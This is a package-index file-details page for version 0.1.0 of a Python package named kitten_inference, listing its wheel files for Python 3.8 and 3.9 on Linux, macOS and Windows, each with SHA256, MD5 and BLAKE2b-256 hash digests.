Details for the file kitten_inference-0.1.0-cp39-cp39-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp39-cp39-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 7d90a42eebac0199ebd4dfcde06ca9a4340e127db3899f5025f16bfe123316ca
MD5 12e643d7bfaf615b23fa8b646e0d8376
BLAKE2b-256 0b7022484b6f79ba567cc4934ff014b1eb053e4b484df5b224681701bef8d043

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp39-cp39-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp39-cp39-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 776dd32d5fd553ddf67f16cabe13b962dfa7863e2030d85e87366bd0e6f58846
MD5 9acb8c586b6f62b6806b2be09b481529
BLAKE2b-256 24c428af0142161c186729267091d661eda99f5cfd056fff9232bffe21084bd5

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl
Algorithm Hash digest
SHA256 68a91a332cdd99d1beff359d307faa542c5285b25477a0c5ce4af50bd76ca447
MD5 7076e596b9dd4d5edffe125db3687ab7
BLAKE2b-256 090d69fccb359d497272d343aff1170c3c82abb8d8f4b38f0890204cf647c550

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp39-cp39-macosx_11_0_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp39-cp39-macosx_11_0_x86_64.whl
Algorithm Hash digest
SHA256 06f3725c9187c350e6a4bbae255b96eb9862bffc900e7f394a5ccca275d73624
MD5 8d47851c6df7a2f6764fcacf8acab2bf
BLAKE2b-256 43251b6458c9cb9ab7bf4f352940794ffe4fdc90139a71d3618ca2028a5606bc

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp39-cp39-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp39-cp39-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 8f00407f03b9a026306fcc49b8d09d1a72e8b73afa2c648a782dfd23f8f24346
MD5 418c1ff900414f9bdd7d8672584f12f8
BLAKE2b-256 6444f066a3883613ef290cd70cb944c594a2308dc6f97a965d00a9af870776ec

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp38-cp38-win_amd64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp38-cp38-win_amd64.whl
Algorithm Hash digest
SHA256 6db7eaa08a42dfbde79a83f33512fdbf82ebb69eb05d2dd2e99856071303cebe
MD5 805a4e7ea00324c6eb7a56ab40d7af62
BLAKE2b-256 7a88b059b90829932a3a3483e0241f1249bb3e74a5a254e5c66219832b831a22

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp38-cp38-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp38-cp38-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 96865f8e8e2c0606fa2833e00e8a4125dce49b6880d8efe2fa29c5da4dd6434d
MD5 30f8938da632383529c81246bb079ba8
BLAKE2b-256 b26d09585a3e77295776f9c062c57dad00e1f8bce396258a42c9c0f92f956003

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp38-cp38-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp38-cp38-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 a259b13a2564b4e7d3b09173c85f7cbb9b19f518d6e9c35b3b0fa36283cae674
MD5 f489b0d8c239ca0ec5b780d53b099686
BLAKE2b-256 5d8901c2612fdf892110d0b300f54ecfac718016589583a21e5efc3af913a137

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.whl
Algorithm Hash digest
SHA256 3d68ee73819e3b225678ee8cf07d2fe62d605f7744a873f10d51bdd5a761bf7a
MD5 1f07516099d7ab7f86d4fcec254cd360
BLAKE2b-256 0c517be6755f06fefd1e633f1203a1aab74f4b4d658fda8cbaff5f72158ddba0

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp38-cp38-macosx_11_0_x86_64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp38-cp38-macosx_11_0_x86_64.whl
Algorithm Hash digest
SHA256 bc8c08cf0c5b88d244a7ea28d90f48fb6fcecf4296fad0657b1a38c8829bf1d7
MD5 29559cc4671b661d02e2042bfcf8ee64
BLAKE2b-256 7a8eb14a4861cea2c66384e31c83b6d586d16ba8f3b20fececbfda12ba8b6edb

See more details on using hashes here.

File details

Details for the file kitten_inference-0.1.0-cp38-cp38-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for kitten_inference-0.1.0-cp38-cp38-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 b7b807562ae8e19cddc7ad2e172ba18cc5be008c65ff4e7bd2e8277f473a4902
MD5 a92f67d96eabfc5fcdeba931d9ce92f8
BLAKE2b-256 a01e956a0d92791fb8acf32d36f3a66fea7e1cf2ec430d8a4f6720a78b6a7196

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page